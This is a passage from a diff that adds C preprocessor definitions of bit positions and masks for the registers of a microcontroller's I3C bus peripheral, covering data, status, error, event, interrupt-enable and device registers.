I3C_TDR_TDB0_Msk (0xFFUL << I3C_TDR_TDB0_Pos) /*!< 0x000000FF */ +#define I3C_TDR_TDB0 I3C_TDR_TDB0_Msk /*!< Transmit Data Byte */ + +/****************** Bit definition for I3C_TDWR register ********************/ +#define I3C_TDWR_TDBx_Pos (0U) +#define I3C_TDWR_TDBx_Msk (0xFFFFFFFFUL << I3C_TDWR_TDBx_Pos) /*!< 0xFFFFFFFF */ +#define I3C_TDWR_TDBx I3C_TDWR_TDBx_Msk /*!< Transmit Data Byte, full double word */ +#define I3C_TDWR_TDB0_Pos (0U) +#define I3C_TDWR_TDB0_Msk (0xFFUL << I3C_TDWR_TDB0_Pos) /*!< 0x000000FF */ +#define I3C_TDWR_TDB0 I3C_TDWR_TDB0_Msk /*!< Transmit Data Byte 0 */ +#define I3C_TDWR_TDB1_Pos (8U) +#define I3C_TDWR_TDB1_Msk (0xFFUL << I3C_TDWR_TDB1_Pos) /*!< 0x0000FF00 */ +#define I3C_TDWR_TDB1 I3C_TDWR_TDB1_Msk /*!< Transmit Data Byte 1 */ +#define I3C_TDWR_TDB2_Pos (16U) +#define I3C_TDWR_TDB2_Msk (0xFFUL << I3C_TDWR_TDB2_Pos) /*!< 0x00FF0000 */ +#define I3C_TDWR_TDB2 I3C_TDWR_TDB2_Msk /*!< Transmit Data Byte 2 */ +#define I3C_TDWR_TDB3_Pos (24U) +#define I3C_TDWR_TDB3_Msk (0xFFUL << I3C_TDWR_TDB3_Pos) /*!< 0xFF000000 */ +#define I3C_TDWR_TDB3 I3C_TDWR_TDB3_Msk /*!< Transmit Data Byte 3 */ + +/******************* Bit definition for I3C_IBIDR register ******************/ +#define I3C_IBIDR_IBIDBx_Pos (0U) +#define I3C_IBIDR_IBIDBx_Msk (0xFFFFFFFFUL << I3C_IBIDR_IBIDBx_Pos) /*!< 0xFFFFFFFF */ +#define I3C_IBIDR_IBIDBx I3C_IBIDR_IBIDBx_Msk /*!< IBI Data Byte, full double word */ +#define I3C_IBIDR_IBIDB0_Pos (0U) +#define I3C_IBIDR_IBIDB0_Msk (0xFFUL << I3C_IBIDR_IBIDB0_Pos) /*!< 0x000000FF */ +#define I3C_IBIDR_IBIDB0 I3C_IBIDR_IBIDB0_Msk /*!< IBI Data Byte 0 */ +#define I3C_IBIDR_IBIDB1_Pos (8U) +#define I3C_IBIDR_IBIDB1_Msk (0xFFUL << I3C_IBIDR_IBIDB1_Pos) /*!< 0x0000FF00 */ +#define I3C_IBIDR_IBIDB1 I3C_IBIDR_IBIDB1_Msk /*!< IBI Data Byte 1 */ +#define I3C_IBIDR_IBIDB2_Pos (16U) +#define I3C_IBIDR_IBIDB2_Msk (0xFFUL << I3C_IBIDR_IBIDB2_Pos) /*!< 0x00FF0000 */ +#define I3C_IBIDR_IBIDB2 I3C_IBIDR_IBIDB2_Msk /*!< IBI Data Byte 2 */ +#define I3C_IBIDR_IBIDB3_Pos (24U) +#define I3C_IBIDR_IBIDB3_Msk (0xFFUL << I3C_IBIDR_IBIDB3_Pos) /*!< 0xFF000000 */ +#define I3C_IBIDR_IBIDB3 I3C_IBIDR_IBIDB3_Msk /*!< IBI Data Byte 3 */ + +/****************** Bit definition for I3C_TGTTDR register ******************/ +#define I3C_TGTTDR_TGTTDCNT_Pos (0U) +#define I3C_TGTTDR_TGTTDCNT_Msk (0xFFFFUL << I3C_TGTTDR_TGTTDCNT_Pos) /*!< 0x0000FFFF */ +#define I3C_TGTTDR_TGTTDCNT I3C_TGTTDR_TGTTDCNT_Msk /*!< Target Transmit Data Counter */ +#define I3C_TGTTDR_PRELOAD_Pos (16U) +#define I3C_TGTTDR_PRELOAD_Msk (0x1UL << I3C_TGTTDR_PRELOAD_Pos) /*!< 0x00010000 */ +#define I3C_TGTTDR_PRELOAD I3C_TGTTDR_PRELOAD_Msk /*!< Transmit FIFO Preload Enable/Status */ + +/******************* Bit definition for I3C_SR register *********************/ +#define I3C_SR_XDCNT_Pos (0U) +#define I3C_SR_XDCNT_Msk (0xFFFFUL << I3C_SR_XDCNT_Pos) /*!< 0x0000FFFF */ +#define I3C_SR_XDCNT I3C_SR_XDCNT_Msk /*!< Transfer Data Byte Count status */ +#define I3C_SR_ABT_Pos (17U) +#define I3C_SR_ABT_Msk (0x1UL << I3C_SR_ABT_Pos) /*!< 0x00020000 */ +#define I3C_SR_ABT I3C_SR_ABT_Msk /*!< Target Abort Indication */ +#define I3C_SR_DIR_Pos (18U) +#define I3C_SR_DIR_Msk (0x1UL << I3C_SR_DIR_Pos) /*!< 0x00040000 */ +#define I3C_SR_DIR I3C_SR_DIR_Msk /*!< Message Direction */ +#define I3C_SR_MID_Pos (24U) +#define I3C_SR_MID_Msk (0xFFUL << I3C_SR_MID_Pos) /*!< 0xFF000000 */ +#define I3C_SR_MID I3C_SR_MID_Msk /*!< Message Identifier */ + +/******************* Bit definition for I3C_SER register ********************/ +#define I3C_SER_CODERR_Pos (0U) +#define I3C_SER_CODERR_Msk (0xFUL << I3C_SER_CODERR_Pos) /*!< 0x0000000F */ +#define I3C_SER_CODERR I3C_SER_CODERR_Msk /*!< Protocol Error Code */ +#define I3C_SER_CODERR_0 (0x1UL << I3C_SER_CODERR_Pos) /*!< 0x00000001 */ +#define I3C_SER_CODERR_1 (0x2UL << I3C_SER_CODERR_Pos) /*!< 0x00000002 */ +#define I3C_SER_CODERR_2 (0x4UL << I3C_SER_CODERR_Pos) /*!< 0x00000004 */ +#define I3C_SER_CODERR_3 (0x8UL << I3C_SER_CODERR_Pos) /*!< 0x00000008 */ +#define I3C_SER_PERR_Pos (4U) +#define I3C_SER_PERR_Msk (0x1UL << I3C_SER_PERR_Pos) /*!< 0x00000010 */ +#define I3C_SER_PERR I3C_SER_PERR_Msk /*!< Protocol Error */ +#define I3C_SER_STALL_Pos (5U) +#define I3C_SER_STALL_Msk (0x1UL << I3C_SER_STALL_Pos) /*!< 0x00000020 */ +#define I3C_SER_STALL I3C_SER_STALL_Msk /*!< SCL Stall Error */ +#define I3C_SER_DOVR_Pos (6U) +#define I3C_SER_DOVR_Msk (0x1UL << I3C_SER_DOVR_Pos) /*!< 0x00000040 */ +#define I3C_SER_DOVR I3C_SER_DOVR_Msk /*!< RX/TX FIFO Overrun */ +#define I3C_SER_COVR_Pos (7U) +#define I3C_SER_COVR_Msk (0x1UL << I3C_SER_COVR_Pos) /*!< 0x00000080 */ +#define I3C_SER_COVR I3C_SER_COVR_Msk /*!< Status/Control FIFO Overrun */ +#define I3C_SER_ANACK_Pos (8U) +#define I3C_SER_ANACK_Msk (0x1UL << I3C_SER_ANACK_Pos) /*!< 0x00000100 */ +#define I3C_SER_ANACK I3C_SER_ANACK_Msk /*!< Address Not Acknowledged */ +#define I3C_SER_DNACK_Pos (9U) +#define I3C_SER_DNACK_Msk (0x1UL << I3C_SER_DNACK_Pos) /*!< 0x00000200 */ +#define I3C_SER_DNACK I3C_SER_DNACK_Msk /*!< Data Not Acknowledged */ +#define I3C_SER_DERR_Pos (10U) +#define I3C_SER_DERR_Msk (0x1UL << I3C_SER_DERR_Pos) /*!< 0x00000400 */ +#define I3C_SER_DERR I3C_SER_DERR_Msk /*!< Data Error during the controller-role hand-off procedure */ + +/******************* Bit definition for I3C_RMR register ********************/ +#define I3C_RMR_IBIRDCNT_Pos (0U) +#define I3C_RMR_IBIRDCNT_Msk (0x7UL << I3C_RMR_IBIRDCNT_Pos) /*!< 0x00000007 */ +#define I3C_RMR_IBIRDCNT I3C_RMR_IBIRDCNT_Msk /*!< Data Count when reading IBI data */ +#define I3C_RMR_RCODE_Pos (8U) +#define I3C_RMR_RCODE_Msk (0xFFUL << I3C_RMR_RCODE_Pos) /*!< 0x0000FF00 */ +#define I3C_RMR_RCODE I3C_RMR_RCODE_Msk /*!< CCC code of received command */ +#define I3C_RMR_RADD_Pos (17U) +#define I3C_RMR_RADD_Msk (0x7FUL << I3C_RMR_RADD_Pos) /*!< 0x00FE0000 */ +#define I3C_RMR_RADD I3C_RMR_RADD_Msk /*!< Target Address Received during accepted IBI or Controller-role request */ + +/******************* Bit definition for I3C_EVR register ********************/ +#define I3C_EVR_CFEF_Pos (0U) +#define I3C_EVR_CFEF_Msk (0x1UL << I3C_EVR_CFEF_Pos) /*!< 0x00000001 */ +#define I3C_EVR_CFEF I3C_EVR_CFEF_Msk /*!< Control FIFO Empty Flag */ +#define I3C_EVR_TXFEF_Pos (1U) +#define I3C_EVR_TXFEF_Msk (0x1UL << I3C_EVR_TXFEF_Pos) /*!< 0x00000002 */ +#define I3C_EVR_TXFEF I3C_EVR_TXFEF_Msk /*!< TX FIFO Empty Flag */ +#define I3C_EVR_CFNFF_Pos (2U) +#define I3C_EVR_CFNFF_Msk (0x1UL << I3C_EVR_CFNFF_Pos) /*!< 0x00000004 */ +#define I3C_EVR_CFNFF I3C_EVR_CFNFF_Msk /*!< Control FIFO Not Full Flag */ +#define I3C_EVR_SFNEF_Pos (3U) +#define I3C_EVR_SFNEF_Msk (0x1UL << I3C_EVR_SFNEF_Pos) /*!< 0x00000008 */ +#define I3C_EVR_SFNEF I3C_EVR_SFNEF_Msk /*!< Status FIFO Not Empty Flag */ +#define I3C_EVR_TXFNFF_Pos (4U) +#define I3C_EVR_TXFNFF_Msk (0x1UL << I3C_EVR_TXFNFF_Pos) /*!< 0x00000010 */ +#define I3C_EVR_TXFNFF I3C_EVR_TXFNFF_Msk /*!< TX FIFO Not Full Flag */ +#define I3C_EVR_RXFNEF_Pos (5U) +#define I3C_EVR_RXFNEF_Msk (0x1UL << I3C_EVR_RXFNEF_Pos) /*!< 0x00000020 */ +#define I3C_EVR_RXFNEF I3C_EVR_RXFNEF_Msk /*!< RX FIFO Not Empty Flag */ +#define I3C_EVR_TXLASTF_Pos (6U) +#define I3C_EVR_TXLASTF_Msk (0x1UL << I3C_EVR_TXLASTF_Pos) /*!< 0x00000040 */ +#define I3C_EVR_TXLASTF I3C_EVR_TXLASTF_Msk /*!< Last TX byte available in FIFO */ +#define I3C_EVR_RXLASTF_Pos (7U) +#define I3C_EVR_RXLASTF_Msk (0x1UL << I3C_EVR_RXLASTF_Pos) /*!< 0x00000080 */ +#define I3C_EVR_RXLASTF I3C_EVR_RXLASTF_Msk /*!< Last RX byte read from FIFO */ +#define I3C_EVR_FCF_Pos (9U) +#define I3C_EVR_FCF_Msk (0x1UL << I3C_EVR_FCF_Pos) /*!< 0x00000200 */ +#define I3C_EVR_FCF I3C_EVR_FCF_Msk /*!< Frame Complete Flag */ +#define I3C_EVR_RXTGTENDF_Pos (10U) +#define I3C_EVR_RXTGTENDF_Msk (0x1UL << I3C_EVR_RXTGTENDF_Pos) /*!< 0x00000400 */ +#define I3C_EVR_RXTGTENDF I3C_EVR_RXTGTENDF_Msk /*!< Reception Target End Flag */ +#define I3C_EVR_ERRF_Pos (11U) +#define I3C_EVR_ERRF_Msk (0x1UL << I3C_EVR_ERRF_Pos) /*!< 0x00000800 */ +#define I3C_EVR_ERRF I3C_EVR_ERRF_Msk /*!< Error Flag */ +#define I3C_EVR_IBIF_Pos (15U) +#define I3C_EVR_IBIF_Msk (0x1UL << I3C_EVR_IBIF_Pos) /*!< 0x00008000 */ +#define I3C_EVR_IBIF I3C_EVR_IBIF_Msk /*!< IBI Flag */ +#define I3C_EVR_IBIENDF_Pos (16U) +#define I3C_EVR_IBIENDF_Msk (0x1UL << I3C_EVR_IBIENDF_Pos) /*!< 0x00010000 */ +#define I3C_EVR_IBIENDF I3C_EVR_IBIENDF_Msk /*!< IBI End Flag */ +#define I3C_EVR_CRF_Pos (17U) +#define I3C_EVR_CRF_Msk (0x1UL << I3C_EVR_CRF_Pos) /*!< 0x00020000 */ +#define I3C_EVR_CRF I3C_EVR_CRF_Msk /*!< Controller-role Request Flag */ +#define I3C_EVR_CRUPDF_Pos (18U) +#define I3C_EVR_CRUPDF_Msk (0x1UL << I3C_EVR_CRUPDF_Pos) /*!< 0x00040000 */ +#define I3C_EVR_CRUPDF I3C_EVR_CRUPDF_Msk /*!< Controller-role Update Flag */ +#define I3C_EVR_HJF_Pos (19U) +#define I3C_EVR_HJF_Msk (0x1UL << I3C_EVR_HJF_Pos) /*!< 0x00080000 */ +#define I3C_EVR_HJF I3C_EVR_HJF_Msk /*!< Hot Join Flag */ +#define I3C_EVR_WKPF_Pos (21U) +#define I3C_EVR_WKPF_Msk (0x1UL << I3C_EVR_WKPF_Pos) /*!< 0x00200000 */ +#define I3C_EVR_WKPF I3C_EVR_WKPF_Msk /*!< Wake Up Flag */ +#define I3C_EVR_GETF_Pos (22U) +#define I3C_EVR_GETF_Msk (0x1UL << I3C_EVR_GETF_Pos) /*!< 0x00400000 */ +#define I3C_EVR_GETF I3C_EVR_GETF_Msk /*!< Get type CCC received Flag */ +#define I3C_EVR_STAF_Pos (23U) +#define I3C_EVR_STAF_Msk (0x1UL << I3C_EVR_STAF_Pos) /*!< 0x00800000 */ +#define I3C_EVR_STAF I3C_EVR_STAF_Msk /*!< Get Status Flag */ +#define I3C_EVR_DAUPDF_Pos (24U) +#define I3C_EVR_DAUPDF_Msk (0x1UL << I3C_EVR_DAUPDF_Pos) /*!< 0x01000000 */ +#define I3C_EVR_DAUPDF I3C_EVR_DAUPDF_Msk /*!< Dynamic Address Update Flag */ +#define I3C_EVR_MWLUPDF_Pos (25U) +#define I3C_EVR_MWLUPDF_Msk (0x1UL << I3C_EVR_MWLUPDF_Pos) /*!< 0x02000000 */ +#define I3C_EVR_MWLUPDF I3C_EVR_MWLUPDF_Msk /*!< Max Write Length Update Flag */ +#define I3C_EVR_MRLUPDF_Pos (26U) +#define I3C_EVR_MRLUPDF_Msk (0x1UL << I3C_EVR_MRLUPDF_Pos) /*!< 0x04000000 */ +#define I3C_EVR_MRLUPDF I3C_EVR_MRLUPDF_Msk /*!< Max Read Length Update Flag */ +#define I3C_EVR_RSTF_Pos (27U) +#define I3C_EVR_RSTF_Msk (0x1UL << I3C_EVR_RSTF_Pos) /*!< 0x08000000 */ +#define I3C_EVR_RSTF I3C_EVR_RSTF_Msk /*!< Reset Flag, due to Reset pattern received */ +#define I3C_EVR_ASUPDF_Pos (28U) +#define I3C_EVR_ASUPDF_Msk (0x1UL << I3C_EVR_ASUPDF_Pos) /*!< 0x10000000 */ +#define I3C_EVR_ASUPDF I3C_EVR_ASUPDF_Msk /*!< Activity State Flag */ +#define I3C_EVR_INTUPDF_Pos (29U) +#define I3C_EVR_INTUPDF_Msk (0x1UL << I3C_EVR_INTUPDF_Pos) /*!< 0x20000000 */ +#define I3C_EVR_INTUPDF I3C_EVR_INTUPDF_Msk /*!< Interrupt Update Flag */ +#define I3C_EVR_DEFF_Pos (30U) +#define I3C_EVR_DEFF_Msk (0x1UL << I3C_EVR_DEFF_Pos) /*!< 0x40000000 */ +#define I3C_EVR_DEFF I3C_EVR_DEFF_Msk /*!< List of Targets Command Received Flag */ +#define I3C_EVR_GRPF_Pos (31U) +#define I3C_EVR_GRPF_Msk (0x1UL << I3C_EVR_GRPF_Pos) /*!< 0x80000000 */ +#define I3C_EVR_GRPF I3C_EVR_GRPF_Msk /*!< List of Group Addresses Command Received Flag */ + +/******************* Bit definition for I3C_IER register ********************/ +#define I3C_IER_CFNFIE_Pos (2U) +#define I3C_IER_CFNFIE_Msk (0x1UL << I3C_IER_CFNFIE_Pos) /*!< 0x00000004 */ +#define I3C_IER_CFNFIE I3C_IER_CFNFIE_Msk /*!< Control FIFO Not Full Interrupt Enable */ +#define I3C_IER_SFNEIE_Pos (3U) +#define I3C_IER_SFNEIE_Msk (0x1UL << I3C_IER_SFNEIE_Pos) /*!< 0x00000008 */ +#define I3C_IER_SFNEIE I3C_IER_SFNEIE_Msk /*!< Status FIFO Not Empty Interrupt Enable */ +#define I3C_IER_TXFNFIE_Pos (4U) +#define I3C_IER_TXFNFIE_Msk (0x1UL << I3C_IER_TXFNFIE_Pos) /*!< 0x00000010 */ +#define I3C_IER_TXFNFIE I3C_IER_TXFNFIE_Msk /*!< TX FIFO Not Full Interrupt Enable */ +#define I3C_IER_RXFNEIE_Pos (5U) +#define I3C_IER_RXFNEIE_Msk (0x1UL << I3C_IER_RXFNEIE_Pos) /*!< 0x00000020 */ +#define I3C_IER_RXFNEIE I3C_IER_RXFNEIE_Msk /*!< RX FIFO Not Empty Interrupt Enable */ +#define I3C_IER_FCIE_Pos (9U) +#define I3C_IER_FCIE_Msk (0x1UL << I3C_IER_FCIE_Pos) /*!< 0x00000200 */ +#define I3C_IER_FCIE I3C_IER_FCIE_Msk /*!< Frame Complete Interrupt Enable */ +#define I3C_IER_RXTGTENDIE_Pos (10U) +#define I3C_IER_RXTGTENDIE_Msk (0x1UL << I3C_IER_RXTGTENDIE_Pos) /*!< 0x00000400 */ +#define I3C_IER_RXTGTENDIE I3C_IER_RXTGTENDIE_Msk /*!< Reception Target End Interrupt Enable */ +#define I3C_IER_ERRIE_Pos (11U) +#define I3C_IER_ERRIE_Msk (0x1UL << I3C_IER_ERRIE_Pos) /*!< 0x00000800 */ +#define I3C_IER_ERRIE I3C_IER_ERRIE_Msk /*!< Error Interrupt Enable */ +#define I3C_IER_IBIIE_Pos (15U) +#define I3C_IER_IBIIE_Msk (0x1UL << I3C_IER_IBIIE_Pos) /*!< 0x00008000 */ +#define I3C_IER_IBIIE I3C_IER_IBIIE_Msk /*!< IBI Interrupt Enable */ +#define I3C_IER_IBIENDIE_Pos (16U) +#define I3C_IER_IBIENDIE_Msk (0x1UL << I3C_IER_IBIENDIE_Pos) /*!< 0x00010000 */ +#define I3C_IER_IBIENDIE I3C_IER_IBIENDIE_Msk /*!< IBI End Interrupt Enable */ +#define I3C_IER_CRIE_Pos (17U) +#define I3C_IER_CRIE_Msk (0x1UL << I3C_IER_CRIE_Pos) /*!< 0x00020000 */ +#define I3C_IER_CRIE I3C_IER_CRIE_Msk /*!< Controller-role Interrupt Enable */ +#define I3C_IER_CRUPDIE_Pos (18U) +#define I3C_IER_CRUPDIE_Msk (0x1UL << I3C_IER_CRUPDIE_Pos) /*!< 0x00040000 */ +#define I3C_IER_CRUPDIE I3C_IER_CRUPDIE_Msk /*!< Controller-role Update Interrupt Enable */ +#define I3C_IER_HJIE_Pos (19U) +#define I3C_IER_HJIE_Msk (0x1UL << I3C_IER_HJIE_Pos) /*!< 0x00080000 */ +#define I3C_IER_HJIE I3C_IER_HJIE_Msk /*!< Hot Join Interrupt Enable */ +#define I3C_IER_WKPIE_Pos (21U) +#define I3C_IER_WKPIE_Msk (0x1UL << I3C_IER_WKPIE_Pos) /*!< 0x00200000 */ +#define I3C_IER_WKPIE I3C_IER_WKPIE_Msk /*!< Wake Up Interrupt Enable */ +#define I3C_IER_GETIE_Pos (22U) +#define I3C_IER_GETIE_Msk (0x1UL << I3C_IER_GETIE_Pos) /*!< 0x00400000 */ +#define I3C_IER_GETIE I3C_IER_GETIE_Msk /*!< Get type CCC received Interrupt Enable */ +#define I3C_IER_STAIE_Pos (23U) +#define I3C_IER_STAIE_Msk (0x1UL << I3C_IER_STAIE_Pos) /*!< 0x00800000 */ +#define I3C_IER_STAIE I3C_IER_STAIE_Msk /*!< Get Status Interrupt Enable */ +#define I3C_IER_DAUPDIE_Pos (24U) +#define I3C_IER_DAUPDIE_Msk (0x1UL << I3C_IER_DAUPDIE_Pos) /*!< 0x01000000 */ +#define I3C_IER_DAUPDIE I3C_IER_DAUPDIE_Msk /*!< Dynamic Address Update Interrupt Enable */ +#define I3C_IER_MWLUPDIE_Pos (25U) +#define I3C_IER_MWLUPDIE_Msk (0x1UL << I3C_IER_MWLUPDIE_Pos) /*!< 0x02000000 */ +#define I3C_IER_MWLUPDIE I3C_IER_MWLUPDIE_Msk /*!< Max Write Length Update Interrupt Enable */ +#define I3C_IER_MRLUPDIE_Pos (26U) +#define I3C_IER_MRLUPDIE_Msk (0x1UL << I3C_IER_MRLUPDIE_Pos) /*!< 0x04000000 */ +#define I3C_IER_MRLUPDIE I3C_IER_MRLUPDIE_Msk /*!< Max Read Length Update Interrupt Enable */ +#define I3C_IER_RSTIE_Pos (27U) +#define I3C_IER_RSTIE_Msk (0x1UL << I3C_IER_RSTIE_Pos) /*!< 0x08000000 */ +#define I3C_IER_RSTIE I3C_IER_RSTIE_Msk /*!< Reset Interrupt Enabled, due to Reset pattern received */ +#define I3C_IER_ASUPDIE_Pos (28U) +#define I3C_IER_ASUPDIE_Msk (0x1UL << I3C_IER_ASUPDIE_Pos) /*!< 0x10000000 */ +#define I3C_IER_ASUPDIE I3C_IER_ASUPDIE_Msk /*!< Activity State Interrupt Enable */ +#define I3C_IER_INTUPDIE_Pos (29U) +#define I3C_IER_INTUPDIE_Msk (0x1UL << I3C_IER_INTUPDIE_Pos) /*!< 0x20000000 */ +#define I3C_IER_INTUPDIE I3C_IER_INTUPDIE_Msk /*!< Interrupt Update Interrupt Enable */ +#define I3C_IER_DEFIE_Pos (30U) +#define I3C_IER_DEFIE_Msk (0x1UL << I3C_IER_DEFIE_Pos) /*!< 0x40000000 */ +#define I3C_IER_DEFIE I3C_IER_DEFIE_Msk /*!< List of Targets Command Received Interrupt Enable */ +#define I3C_IER_GRPIE_Pos (31U) +#define I3C_IER_GRPIE_Msk (0x1UL << I3C_IER_GRPIE_Pos) /*!< 0x80000000 */ +#define I3C_IER_GRPIE I3C_IER_GRPIE_Msk /*!< List of Group Addresses Command Received Interrupt Enable */ + +/******************* Bit definition for I3C_CEVR register *******************/ +#define I3C_CEVR_CFCF_Pos (9U) +#define I3C_CEVR_CFCF_Msk (0x1UL << I3C_CEVR_CFCF_Pos) /*!< 0x00000200 */ +#define I3C_CEVR_CFCF I3C_CEVR_CFCF_Msk /*!< Frame Complete Clear Flag */ +#define I3C_CEVR_CRXTGTENDF_Pos (10U) +#define I3C_CEVR_CRXTGTENDF_Msk (0x1UL << I3C_CEVR_CRXTGTENDF_Pos) /*!< 0x00000400 */ +#define I3C_CEVR_CRXTGTENDF I3C_CEVR_CRXTGTENDF_Msk /*!< Reception Target End Clear Flag */ +#define I3C_CEVR_CERRF_Pos (11U) +#define I3C_CEVR_CERRF_Msk (0x1UL << I3C_CEVR_CERRF_Pos) /*!< 0x00000800 */ +#define I3C_CEVR_CERRF I3C_CEVR_CERRF_Msk /*!< Error Clear Flag */ +#define I3C_CEVR_CIBIF_Pos (15U) +#define I3C_CEVR_CIBIF_Msk (0x1UL << I3C_CEVR_CIBIF_Pos) /*!< 0x00008000 */ +#define I3C_CEVR_CIBIF I3C_CEVR_CIBIF_Msk /*!< IBI Clear Flag */ +#define I3C_CEVR_CIBIENDF_Pos (16U) +#define I3C_CEVR_CIBIENDF_Msk (0x1UL << I3C_CEVR_CIBIENDF_Pos) /*!< 0x00010000 */ +#define I3C_CEVR_CIBIENDF I3C_CEVR_CIBIENDF_Msk /*!< IBI End Clear Flag */ +#define I3C_CEVR_CCRF_Pos (17U) +#define I3C_CEVR_CCRF_Msk (0x1UL << I3C_CEVR_CCRF_Pos) /*!< 0x00020000 */ +#define I3C_CEVR_CCRF I3C_CEVR_CCRF_Msk /*!< Controller-role Clear Flag */ +#define I3C_CEVR_CCRUPDF_Pos (18U) +#define I3C_CEVR_CCRUPDF_Msk (0x1UL << I3C_CEVR_CCRUPDF_Pos) /*!< 0x00040000 */ +#define I3C_CEVR_CCRUPDF I3C_CEVR_CCRUPDF_Msk /*!< Controller-role Update Clear Flag */ +#define I3C_CEVR_CHJF_Pos (19U) +#define I3C_CEVR_CHJF_Msk (0x1UL << I3C_CEVR_CHJF_Pos) /*!< 0x00080000 */ +#define I3C_CEVR_CHJF I3C_CEVR_CHJF_Msk /*!< Hot Join Clear Flag */ +#define I3C_CEVR_CWKPF_Pos (21U) +#define I3C_CEVR_CWKPF_Msk (0x1UL << I3C_CEVR_CWKPF_Pos) /*!< 0x00200000 */ +#define I3C_CEVR_CWKPF I3C_CEVR_CWKPF_Msk /*!< Wake Up Clear Flag */ +#define I3C_CEVR_CGETF_Pos (22U) +#define I3C_CEVR_CGETF_Msk (0x1UL << I3C_CEVR_CGETF_Pos) /*!< 0x00400000 */ +#define I3C_CEVR_CGETF I3C_CEVR_CGETF_Msk /*!< Get type CCC received Clear Flag */ +#define I3C_CEVR_CSTAF_Pos (23U) +#define I3C_CEVR_CSTAF_Msk (0x1UL << I3C_CEVR_CSTAF_Pos) /*!< 0x00800000 */ +#define I3C_CEVR_CSTAF I3C_CEVR_CSTAF_Msk /*!< Get Status Clear Flag */ +#define I3C_CEVR_CDAUPDF_Pos (24U) +#define I3C_CEVR_CDAUPDF_Msk (0x1UL << I3C_CEVR_CDAUPDF_Pos) /*!< 0x01000000 */ +#define I3C_CEVR_CDAUPDF I3C_CEVR_CDAUPDF_Msk /*!< Dynamic Address Update Clear Flag */ +#define I3C_CEVR_CMWLUPDF_Pos (25U) +#define I3C_CEVR_CMWLUPDF_Msk (0x1UL << I3C_CEVR_CMWLUPDF_Pos) /*!< 0x02000000 */ +#define I3C_CEVR_CMWLUPDF I3C_CEVR_CMWLUPDF_Msk /*!< Max Write Length Update Clear Flag */ +#define I3C_CEVR_CMRLUPDF_Pos (26U) +#define I3C_CEVR_CMRLUPDF_Msk (0x1UL << I3C_CEVR_CMRLUPDF_Pos) /*!< 0x04000000 */ +#define I3C_CEVR_CMRLUPDF I3C_CEVR_CMRLUPDF_Msk /*!< Max Read Length Update Clear Flag */ +#define I3C_CEVR_CRSTF_Pos (27U) +#define I3C_CEVR_CRSTF_Msk (0x1UL << I3C_CEVR_CRSTF_Pos) /*!< 0x08000000 */ +#define I3C_CEVR_CRSTF I3C_CEVR_CRSTF_Msk /*!< Reset Flag, due to Reset pattern received */ +#define I3C_CEVR_CASUPDF_Pos (28U) +#define I3C_CEVR_CASUPDF_Msk (0x1UL << I3C_CEVR_CASUPDF_Pos) /*!< 0x10000000 */ +#define I3C_CEVR_CASUPDF I3C_CEVR_CASUPDF_Msk /*!< Activity State Clear Flag */ +#define I3C_CEVR_CINTUPDF_Pos (29U) +#define I3C_CEVR_CINTUPDF_Msk (0x1UL << I3C_CEVR_CINTUPDF_Pos) /*!< 0x20000000 */ +#define I3C_CEVR_CINTUPDF I3C_CEVR_CINTUPDF_Msk /*!< Interrupt Update Clear Flag */ +#define I3C_CEVR_CDEFF_Pos (30U) +#define I3C_CEVR_CDEFF_Msk (0x1UL << I3C_CEVR_CDEFF_Pos) /*!< 0x40000000 */ +#define I3C_CEVR_CDEFF I3C_CEVR_CDEFF_Msk /*!< List of Targets Command Received Clear Flag */ +#define I3C_CEVR_CGRPF_Pos (31U) +#define I3C_CEVR_CGRPF_Msk (0x1UL << I3C_CEVR_CGRPF_Pos) /*!< 0x80000000 */ +#define I3C_CEVR_CGRPF I3C_CEVR_CGRPF_Msk /*!< List of Group Addresses Command Received Clear Flag */ + +/****************** Bit definition for I3C_DEVR0 register *******************/ +#define I3C_DEVR0_DAVAL_Pos (0U) +#define I3C_DEVR0_DAVAL_Msk (0x1UL << I3C_DEVR0_DAVAL_Pos) /*!< 0x00000001 */ +#define I3C_DEVR0_DAVAL I3C_DEVR0_DAVAL_Msk /*!< Dynamic Address Validity */ +#define I3C_DEVR0_DA_Pos (1U) +#define I3C_DEVR0_DA_Msk (0x7FUL << I3C_DEVR0_DA_Pos) /*!< 0x000000FE */ +#define I3C_DEVR0_DA I3C_DEVR0_DA_Msk /*!< Own Target Device Address */ +#define I3C_DEVR0_IBIEN_Pos (16U) +#define I3C_DEVR0_IBIEN_Msk (0x1UL << I3C_DEVR0_IBIEN_Pos) /*!< 0x00010000 */ +#define I3C_DEVR0_IBIEN I3C_DEVR0_IBIEN_Msk /*!< IBI Enable */ +#define I3C_DEVR0_CREN_Pos (17U) +#define I3C_DEVR0_CREN_Msk (0x1UL << I3C_DEVR0_CREN_Pos) /*!< 0x00020000 */ +#define I3C_DEVR0_CREN I3C_DEVR0_CREN_Msk /*!< Controller-role Enable */ +#define I3C_DEVR0_HJEN_Pos (19U) +#define I3C_DEVR0_HJEN_Msk (0x1UL << I3C_DEVR0_HJEN_Pos) /*!< 0x00080000 */ +#define I3C_DEVR0_HJEN I3C_DEVR0_HJEN_Msk /*!< Hot Join Enable */ +#define I3C_DEVR0_AS_Pos (20U) +#define I3C_DEVR0_AS_Msk (0x3UL << I3C_DEVR0_AS_Pos) /*!< 0x00300000 */ +#define I3C_DEVR0_AS I3C_DEVR0_AS_Msk /*!< Activity State value update after ENTAx received */ +#define I3C_DEVR0_AS_0 (0x1UL << I3C_DEVR0_AS_Pos) /*!< 0x00100000 */ +#define I3C_DEVR0_AS_1 (0x2UL << I3C_DEVR0_AS_Pos) /*!< 0x00200000 */ +#define I3C_DEVR0_RSTACT_Pos (22U) +#define I3C_DEVR0_RSTACT_Msk (0x3UL << I3C_DEVR0_RSTACT_Pos) /*!< 0x00C000000 */ +#define I3C_DEVR0_RSTACT I3C_DEVR0_RSTACT_Msk /*!< Reset Action value update after RSTACT received */ +#define I3C_DEVR0_RSTACT_0 (0x1UL << I3C_DEVR0_RSTACT_Pos) /*!< 0x00400000 */ +#define I3C_DEVR0_RSTACT_1 (0x2UL << I3C_DEVR0_RSTACT_Pos) /*!< 0x00800000 */ +#define I3C_DEVR0_RSTVAL_Pos (24U) +#define I3C_DEVR0_RSTVAL_Msk (0x1UL << I3C_DEVR0_RSTVAL_Pos) /*!< 0x01000000 */ +#define I3C_DEVR0_RSTVAL I3C_DEVR0_RSTVAL_Msk /*!< Reset Action Valid */ + +/****************** Bit definition for I3C_DEVRX register *******************/ +#define I3C_DEVRX_DA_Pos (1U) +#define I3C_DEVRX_DA_Msk (0x7FUL << I3C_DEVRX_DA_Pos) /*!< 0x000000FE */ +#define I3C_DEVRX_DA I3C_DEVRX_DA_Msk 